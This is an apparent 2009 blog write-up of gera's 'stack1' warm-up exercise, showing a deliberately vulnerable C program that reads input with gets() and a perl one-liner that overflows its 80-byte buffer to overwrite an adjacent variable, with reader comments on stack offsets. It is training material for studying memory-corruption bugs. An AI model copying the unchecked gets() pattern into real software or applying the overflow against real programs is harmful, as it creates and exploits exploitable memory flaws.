xorl %eax, %eax

Warming up on Stack No. 1

with 2 comments

First of all let’s check gera’s stack1-stdin.c which is pretty simple:

/* stack1-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08xn", &buf,&cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!n");
}

As you can see it uses gets() which is an insecure function since it does not perform any bound checks on the user input. This allows us to enter a string larger than 80 bytes and thus overwrite the cookie integer. We want to overwrite it with 0x41424344 which fortunately are printable characters as you can see from the ascii(7) man page: A= 0x41, B = 0x42 and so on. I’m testing this on a little endian architecture box (Intel CPU), so the stack layout would be similar to this:

----------
  cookie     <-- Most significant byte
----------
  cookie
----------
  cookie
----------
  cookie     <-- Least significant byte
----------
  buf[79]
----------
  buf[78]
----------
     .
     .
     .
----------
  buf[0]
----------

With all these in mind, we can easily insert 80 junk bytes to fill up the buffer and then “DCBA” which is “ABCD” in reverse order because of the machine’s endianess. Enough said:

sh-3.2$ perl -e 'print "X" x 80 . "DCBA" . "\n"' | ./stack1-stdin
buf: bfde9a60 cookie: bfde9ab0
you win!
sh-3.2$

Yeah, 80 junk bytes and “DCBA” then. The newline character is to make gets() exit.

Written by xorl

January 2, 2009 at 13:38

2 Responses

Subscribe to comments with RSS.

  1. It’s interesting that your two variables were exactly 80 bytes apart. When I did this in Linux they were 92 bytes apart so I had to trash the stack in the middle to get to cookie. When I did it in Windows they were 88 bytes apart. What OS/Compiler did you use to do this?

    Ben

    June 8, 2009 at 18:25

  2. This was done on an old Slackware 10.2 with its default compiler which was some GCC 3.3.something if I recall correctly.

    xorl

    June 8, 2009 at 21:12


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s